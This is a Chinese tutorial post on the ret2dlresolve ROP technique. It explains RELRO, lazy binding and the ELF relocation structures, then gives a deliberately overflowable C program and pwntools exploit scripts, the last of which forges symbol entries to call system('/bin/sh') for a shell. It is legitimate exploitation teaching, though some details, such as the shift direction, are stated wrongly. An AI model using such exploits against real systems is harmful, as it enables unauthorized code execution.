本文最后更新于 2024年10月9日 上午
ROP之ret2alsolve RELRO保护原理 简介 由于 GOT和PLT以及延迟绑定的原因,在启用延迟绑定时,符号解析只发生在第一次使用的时候,该过程是通过PLT表进行的,解析完成后,相应的GOT条目会被修改为正确的函数地址。因此,在延迟绑定的情况下。.got.plt必须可写,这就给了攻击者篡改地址劫持程序的执行的可能。
RELRO(ReLocation Read-Only)机制的提出就是为了解决延迟绑定的安全问题,它最初于2004年由Redhat的工程师Jakub jelnek实现,他将符号重定位表设置为只读,或者在程序启动时就解析并绑定所有的动态符号,从而避免GOT上的地址被篡改。RELRO有两种形式:
partial PELRO:一些段(包括.dynamic,.got等)在初始化后会被标记为读。
Full RELRO :除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.got.plt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读,但其实.got.plt会被直接合并到.got,也就看不到这段了。另外link_map和_dl_runtime_reolve的地址也不会被装入。开启Full RELRO会对程序启动时的性能造成一定的影响,但也只有这样才能防止攻击者篡改GOT。
延迟绑定技术 在程序没有开启FULL RELRO的时候,程序第一次执行函数时会进行一次动态链接,将got表上函数地址重定位为libc上的函数地址,这个过程会通过_dl_runtime_resolve(link_map_obj, realoc_index)来实现
如图所示
这里有push eax,eax又是什么呢,是把ebp-0x18的值,而ebp-0x18实际上就是esp,而esp为0x10
所以这里实际上是push 0x10
然后继续步入就到了0x8049020
就是PLT0的位置
而这个push 0x10(是什么后面会讲)由plt表提供,如图所示
这里压入了一个参数
实际上就是link_map_obj,然后开始执行_dl_runtime_resolve(link_map_obj,realoc_index)将libc地址写入got表,整个延迟绑定大概就是这样
其中 link_map_obj 参数的作用是为了能够定位 .dynamic 段,而定位了 .dynamic 段就能接着定位(根据偏移)到 .dynstr 段、.dynsym 段、.rel.plt 段,该参数是 PLT0 默认提供的,程序中所有函数在动态链接过程中的该参数都是相同的;
而realoc_index对应的其实就是类似与前面read函数要push 0x10,这个参数的作用是为了找到函数对应的ELF_REL结构体,这个参数由plt表提供
下面就是.rel.plt段,把read对应的0x80483a8减去.rel.plt开头地址0x8048398就是0x10,
所以realoc_index简单的理解就是对应函数的结构体到.rel.plt段的偏移(后面会详细讲.rel.plt段的构成,要结合着理解)
接下来我会介绍.dynamic段、.dynstr段、.dynsym段、.rel.plt段
每个段的寻找可以借助objump工具
1 2 3 4 objdump -s -j .dynsym pwn objdump -s -j .dynstr pwn objdump -s -j .dynamic pwn objdump -s -j .rel .plt pwn
.dynamic段是用来存储动态链接程序的特定信息的,在这里我们不用特别里了解
.dynstr 段 存放了各个函数的名称字符串。
.dynsym 段 由 Elf_Sym 结构体集合而成
其中的 Elf_Sym 结构体如代码
1 2 3 4 5 6 7 8 typedef struct { ELF32_Word st_name; ELF32_Addr st_value; ELF32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
这里面唯一需要知道的就是st_name,这个对应的是这个结构体相对于.dynstr段的偏移,根据这个就可以找到.dynstr段的位置
.rel.plt 段 由 Elf_Rel 结构体集合而成
其中的 Elf_Rel 结构体如代码
1 2 3 4 typedef struct { ELF32_Addr r_offset; ELF32_Addr r_info; } Elf32_Rel;
其中r_offest对应的是函数在got表,r_info又移动8位后用来表示这个函数的标识符在.dynsym段的位置,例如,你运行的是read函数,那么r_info<<8就是read对应的结构体距离.dymsym段的位置
联系 这几段的关系是这样的,通过link_map_obj定位.dynamic段,在通过偏移定位到.rel.plt段,.dynstr段,.dynsym段,这里的偏移程序会给,不用我们操心,然后再通过realoc_index来确定.rel.plt段对应的函数结构体,从而找到对应函数的got表位置,再通过(r_info<<8)找到.dynsym段对应的该函数的ELF_Sym结构体,再通过st_name找到.dynstr段中对应函数的字符串,然后根据字符串到libc文件中找到对应的地址。如图所示
_dl_runtime_resolve 函数实际上就只是调用了 _dl_fixup 函数,其函数代码大致如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 _dl_fixup(struct link_map *l,ElfW (Word) reloc_arg) { const PLTREL *const reloc = (const void *)(D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW (R_SYM) (reloc->r_info)]; assert (ELF (R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT); result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
这里唯一要注意的就是这个函数的运行会检查r_info的低位是否等于7。
题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <unistd.h> #include <stdio.h> #include <string.h> void vuln () { char buf[0x10 ]; puts ("> " ); read (0 , buf, 0x30 ); }void init () { setbuf (stdout, 0 ); setbuf (stderr, 0 ); setbuf (stdin, 0 ); }int main () { init (); vuln (); return 0 ; }
编译(自己编译出来的文件因libc版本不同,地址可能跟我有些差异)
1 gcc -w -fno-stack-protector -z relro -no-pie -fno-pie 1. c -m32 -o pwn
首先我们先用栈溢出来模拟puts函数的动态链接调用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level='debug' io=process('./ret21' ) elf=ELF('./ret21' ) leave=0x080491F2 ret=0x804900a PLT0=0x8049020 buf=elf.bss()+0x800 rel_plt=0x8048398 dynsym=0x804821c dynstr=0x80482bc payload=b'a' *0x18 + p32(buf) + p32(elf.sym['read' ]) + p32(leave) + p32(0 ) + p32(buf) + p32(0x100 ) io.sendafter(b'> \n' ,payload) sleep(3 ) payload2=b'a' *4 +p32(PLT0)+p32(0x18 )+p32(0 )+p32(buf-0x14 )+b'Haker' io.send(payload2) pause()
在这个代码中,我们先进行了栈迁移,之后模拟已经将 0x18 (puts 函数的 realoc_index 参数)已经压入栈,接着执行 PLT0,压入 link_map_obj 参数,然后执行 _dl_runtime_resolve 函数,之后解析完成那么就能够接着执行 puts(“Hacker!”) 打印出 Hacker!
因为这个解析函数是依靠各个段中的对应函数结构体构成的,那么,我们是否可以通过伪造结构体来执行我们想要执行的函数,这就是今天的重点
ret2dlsolve的rop技术
接下来我会通过构造结构体来puts(‘Hacker!’)
伪造.dynstr段上的字符串 1 2 3 fake_st_name = buf + xx - .dynstr //xx指的是栈上的栈上偏移 我们会在payload上构造字符串
构造ELF_Sym结构体 前面可知,此结构体有6个参数,实际上只需要伪造st_name就可以了,其他的不变
所以
1 2 fake_Elf_Sym = p32(fake_st_name) + p32(0 )*2 + p32(0x12 ) + p32(0 )*2
构造ELF_Rel结构体 首先要解决的问题就是,realoc_index的问题,上面已经详细讲过,realoc_index实际上就是对应函数结构体到rel.plt段的偏移,由前面可知,此结构体有两个参数,一个是对应函数的got表,一个是r_info表示EFL_Sym结构体到.dynsym段的偏移,还有就是_dl_fixup 函数执行时会检查r_info的低位是否为7
所以
1 2 3 realoc_index=fake_ELF_REL-rel_plt r_sym = int ((buf + xx - .dynsym)/0x10 ) //这里是为了去掉低位 r_info = (r_sym << 8 ) + 7 //这里左移8 位后+7 是为了绕过判定再右移8 位后不会破坏地址
最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level='debug' io=process('./ret21' ) elf=ELF('./ret21' ) leave=0x080491F2 ret=0x804900a PLT0=0x8049020 buf=elf.bss()+0x800 rel_plt=0x8048398 dynsym=0x804821c dynstr=0x80482bc payload=b'a' *0x18 + p32(buf) + p32(elf.sym['read' ]) + p32(leave) + p32(0 ) + p32(buf) + p32(0x100 ) io.sendafter(b'> \n' ,payload) sleep(3 ) fake_st_name = buf + 0x34 - dynstr r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int (r_sym) << 8 ) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(fake_st_name) + p32(0 )*2 + p32(0x12 ) + p32(0 )*2 realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['read' ]) + p32(r_info) payload = b'a' *4 + p32(PLT0) + p32(realoc_index) + p32(0 ) + p32(buf + 0x3a ) //这里存在对齐问题,如果是p32(buf+0x3c )的话只会打出'rker' payload += fake_Elf_Rel payload += fake_Elf_Sym payload += b"puts" + p16(0 ) payload += b"harker!" io.send(payload) io.interactive()
这个实际上就是重新找libc寻找函数地址,写入got表
可以看到我们上面的exp中故意写了read的got表,也就是说他重新再libc文件里面寻找puts函数写入了read的got表的位置,这时候read的got表的位置实际上是puts的真实地址了。
由此我们可以联想到,我们把system函数写入,再输入/bin/sh\x00,不就可以getshell了吗,事实上也确实如此
getshell exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level='debug' io=process('./ret21' ) elf=ELF('./ret21' ) leave=0x080491F2 ret=0x804900a PLT0=0x8049020 buf=elf.bss()+0x800 rel_plt=0x8048398 dynsym=0x804821c dynstr=0x80482bc payload=b'a' *0x18 + p32(buf) + p32(elf.sym['read' ]) + p32(leave) + p32(0 ) + p32(buf) + p32(0x100 ) io.sendafter(b'> \n' ,payload) sleep(3 ) fake_st_name = buf + 0x34 - dynstr r_sym = (buf + 0x1c - dynsym) / 0x10 r_type = 7 r_info = (int (r_sym) << 8 ) + r_type puts_str_addr = 0x80482F3 fake_Elf_Sym = p32(fake_st_name) + p32(0 )*2 + p32(0x12 ) + p32(0 )*2 realoc_index = buf + 0x14 - rel_plt fake_Elf_Rel = p32(elf.got['read' ]) + p32(r_info) payload = b'a' *4 + p32(PLT0) + p32(realoc_index) + p32(0 ) + p32(buf + 0x3c ) payload += fake_Elf_Rel payload += fake_Elf_Sym payload += b"system" + p16(0 ) payload += b"/bin/sh\x00" io.send(payload) io.interactive()
小白,有错误请指出